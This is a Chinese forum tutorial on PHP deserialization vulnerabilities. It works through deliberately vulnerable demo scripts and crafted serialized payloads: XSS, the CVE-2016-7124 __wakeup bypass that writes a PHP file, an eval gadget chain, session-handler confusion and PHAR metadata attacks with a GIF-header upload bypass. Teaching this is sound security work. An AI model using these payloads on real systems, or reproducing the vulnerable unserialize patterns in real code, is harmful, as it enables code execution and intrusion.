用户
搜索

[思路/技术] PHP反序列化漏洞总结

  • TA的每日心情
    慵懒
    2019-1-13 12:48
  • 签到天数: 7 天

    连续签到: 2 天

    [LV.3]经常看看I

    i春秋-脚本小子

    Rank: 2

    1

    主题

    4

    帖子

    95

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2016-2-23
    发表于 2019-1-4 19:56:16 35257

    0x01PHP序列化与反序列化介绍

    1.1 什么是序列化与反序列化

    维基百科中这样定义:
    序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。  

    概念很容易理解,其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

    那么序列化与反序列化有什么用处呢?  

    举个例子:
    比如:现在我们都会在淘宝上买桌子,桌子这种很不规则不东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列 的过程(转化成当初的数据对象)。

    也就是说,序列化的目的是方便数据的传输和存储。
    在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。  

    常见的序列化格式:

    • 二进制格式
    • 字节数组
    • json字符串
    • xml字符串

    1.2 PHP序列化与反序列化

    PHP通过string serialize ( mixed $value )mixed unserialize ( string $str )两个函数实现序列化和反序列化。
    关于PHP序列化与反序列化的剖析参考文末参考文章(已经非常详细,不再赘述)。

    下面是比较典型的PHP反序列化漏洞中可能会用到的魔术方法

    • void __wakeup ( void )
      unserialize()会检查是否存在一个_wakeup() 方法。如果存在,则会先调用_wakeup 方法,预先准备对象需要的资源
    • void __construct ([ mixed $args [, $... ]])
      具有构造函数的类会在每次创建新对象时先调用此方法
    • void __destruct ( void )
      析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
    • public string __toString ( void )
      __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

    0x02PHP反序列化漏洞

    2.1 漏洞成因

    PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。

    先看一个例子:

    //demo.php
    <?php
    class A{
        public $target = "demo";
        function __destruct(){
                echo "destructing!<br/>";
                echo $this->target."<br/>";
                echo "destructed!<br/>";
        }
    }
    $a = $_GET['test'];
    $a_unser = unserialize($a);
    ?>

    这个例子中,析构函数会回显$test的值,我们可以构造一个对象,控制$test的值,达到控制数据流的目的,实现反序列化漏洞的利用。

    构造过程如下:

    <?php
    class A{
        public $target = "w2t3rp2dd13r";
    }
    
    $a = serialize(new A);
    echo $a;    //O:1:"A":1:{s:6:"target";s:12:"w2t3rp2dd13r";} 
    ?>

    利用:

    upload successful
    $target的值<svg/onload=alert(1)>就实现了XSS
    upload successful

    2.2 利用方式

    2.2.1 __wakeup()绕过

    (CVE-2016-7124)
    反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。

    影响版本:

    • PHP before 5.6.25
    • 7.x before 7.0.10

    DEMO如下:

    <?php
    class A{
        var $target = "test";
    
        function __wakeup(){
            $this->target= "wakeup!";
        }
    
        function __destruct(){
            $fp = fopen("F:\\PHPWAMP_IN3\\wwwroot\\hello.php","w");
            fputs($fp,$this->target);
            fclose($fp);
        }
    }
    
    $test = $_GET['test'];
    $test_unser = unserialize($test);
    
    echo "hello.php<br/>";
    include(".\hello.php");
    ?>

    用之前构造payload的方法构造如下payload:
    ?test=O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}

    upload successful

    可以看到__wakeup()$target的值重置为wakeup!

    对象序列化后的结构为:O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

    object size的值大于1即可。
    利用漏洞绕过__wakeup()构造payload:
    ?test=O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

    upload successful

    成功绕过__wakeup()

    2.2.2 注入对象构造方法

    当目标对象被privateprotected修饰时的构造方法。

    示例代码:

    class A{
        private $target = "w2t3rp2dd13r";
    }
    echo serialize(new A);
    ?>

    当目标被private修饰时,序列化结果为:
    O:1:"A":1:{s:9:"%00A%00target";s:12:"w2t3rp2dd13r";}
    当目标被protected修饰时,序列化结果为:
    O:1:"A":1:{s:9:"%00*%00target";s:12:"w2t3rp2dd13r";}
    构造注入对象的时候要注意%00

    <?php
    class A{
        private $target = "demo";
        function __destruct(){
                echo "destructing!<br/>";
                echo $this->target."<br/>";
                echo "destructed!<br/>";
        }
    }
    $a = $_GET['test'];
    $a_unser = unserialize($a);
    ?>

    利用演示:
    upload successful

    同名方法的利用

    //demo2.php
    <?php
    class A {
        var $target;
        function __construct() {
            $this->target = new B;
        }
        function __destruct() {
            $this->target->action();
        }
    }
    class B {
        function action() {
            echo "action B";
        }
    }
    class C {
        var $test;
        function action() {
            echo "action A";
            eval($this->test);
        }
    }
    
    unserialize($_GET['test']);
    ?> 

    这个例子中,class Bclass C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class Caction方法,实现任意代码执行。

    构造代码:

    <?php
    class A {
        var $target;
        function __construct() {
            $this->target = new C;
            $this->target->test = "phpinfo();";
        }
        function __destruct() {
            $this->target->action();
        }
    }
    class C {
        var $test;
        function action() {
            echo "action C";
            eval($this->test);
        }
    }
    
    echo serialize(new A);
    ?>

    payload:O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

    利用:

    upload successful

    2.2.3 Session反序列化漏洞

    PHP中的Session经序列化后存储,读取时再进行反序列化。

    相关配置:  

    session.save_path=""        //设置session的存储路径  
    session.save_handler=""     //设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)  
    session.auto_start boolen   //指定会话模块是否在请求开始时启动一个会话默认为0不启动  
    session.serialize_handler string//定义用来序列化/反序列化的处理器名字。默认使用php

    PHP中有三种序列化处理器,如下表所示:

    处理器 对应的存储格式
    php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
    php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
    php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

    示例代码:

    <?php
    session_start();
    
    $_SESSION['test'] = $_GET['test'];
    echo session_id();
    ?>

    访问该页面后,回显Session_id。

    upload successful

    Session存储在session.save_path指定的目录下。

    upload successful
    命名为sess_Session_id

    存储内容为序列化后的session:test|s:4:"test";

    不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。

    下面演示漏洞利用:

    <?php
    //demo3.php
    ini_set("session.serialize_handler", "php");
    
    session_start();
    
    class demo3 {
        var $test = 'test';
    
        function __wakeup() {
            echo 'wakeup!<br/>';
        }
        function __destruct() {
            echo $this->test;
        }
    }
    ?>

    该页面中有类demo3,开启session,并用php处理器处理session。

    <?php
    //session.php
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    
    $_SESSION['test'] = $_GET['test'];
    echo session_id();
    ?>
    
    <?php
    //gererate.php
    class demo3 {
        var $test = "w2t3rp2dd13r";
    }
    
    echo serialize(new demo3);
    ?>

    通过session.php设置session,通过generate.php构造实例
    由于session.php与demo3.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的。

    实例构造
    upload successful

    payload:|O:5:"demo3":1:{s:4:"test";s:12:"w2t3rp2dd13r";}

    serialize()的结果前加|,当使用php处理器时,就会把|后的内容反序列化,从而调用demo3.php中的__wakeup()方法和__destruct()。  

    设置session
    upload successful

    利用
    upload successful

    访问demo3.php成功创建了一个类demo3的实例。

    2.2.4 PHAR利用

    2.2.4.1 PHAR简介

    先简单介绍一下什么是PHAR。

    PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

    2.2.4.2 PHAR文件结构

    PHAR文件由3或4个部分组成:  

    1.stub  //PHAR文件头
    stub就是一个简单的php文件,最简文件头为:<?php __HALT_COMPILER();
    ?>是可有可无的,若使用?>,则;?>间至多一个空格。
    文件头中必须包含__HALT_COMPILER();除此之外没有限制。(PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测)


    2.manifest describing the contents  //PHAR文件描述
    该部分存储文件名、文件大小等信息,如下图所示。

    upload successful

    图中标出的地方,存储了经serialize()Meta-data,有序列化过程必有反序列化过程,这就是我们的注入点。


    3.the file contents

    PHAR文件内容


    4.[optional] a signature for verifying Phar integrity (phar file format only)  //可选的签名部分,支持MD5和SHA1

    upload successful

    2.2.4.3 攻击方法

    2018年Black Hat研究院Sam Thomas的议题:
    It’s a PHP unserialization vulnerability Jim, but not as we know it提供了一种新的php反序列化攻击姿势。PHAR文件的Meta-data可以是任何能够序列化的PHP对象,当PHAR文件被任何 文件系统函数 首次 通过phar://协议解析时Meta-data部分会被反序列化,这个反序列化过程就是我们的攻击点,Meta-data部分填充payload。

    漏洞利用条件:  

    1. 在目标系统上投放一个装在payload的可访问的PHAR文件
    2. 通过文件系统函数利用phar://伪协议解析目标PHAR文件

    下面演示利用过程:
    先创建一个PHAR文件。
    注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

    <?php
    //phar.php
        class TestObject {
        }
        $phar = new Phar("phar.phar"); //后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
        $o = new TestObject();
        $o -> data='hu3sky';
        $phar->setMetadata($o); //将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>

    访问phar.php,在同目录下生成phar.phar文件。

    upload successful

    箭头标出Meta-data部分,可以看到为序列化后结果。

    <?php 
    //demo4.php
        class TestObject {
            public function __destruct() {
                echo '<br/>Destruct called';
            }
        }
    
        $filename = 'phar://phar.phar/test.txt';
        $f = file_get_contents($filename);
        echo $f;
    ?>

    访问demo4.php

    upload successful

    输出了之前打包的phar文件中,test.txt文件内容,并成功实例化TestObject对象,调用了析构函数。

    由于PHP仅通过stub部分判断文件是否为PHAR文件,我们可以通过添加文件头、修改后缀的方式绕过上传检测。

    示例代码:

    <?php
        class TestObject {
        }
    
        @unlink("phar.phar");
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
        $o = new TestObject();
        $phar->setMetadata($o); //将自定义meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>

    0x03参考资料

    深度剖析PHP序列化和反序列化
    序列化和反序列化理解
    最通俗易懂的PHP反序列化原理分析
    浅析PHP反序列化漏洞之PHP常见魔术方法(一)
    浅谈php反序列化漏洞
    四个实例递进php反序列化漏洞理解
    利用 phar 拓展 php 反序列化漏洞攻击面

    长知识了!学习了!谢谢
    使用道具 举报 回复
    还有很多要学习的····
    使用道具 举报 回复
    发表于 2019-1-18 14:44:46
    写的真好,一目了然,强
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册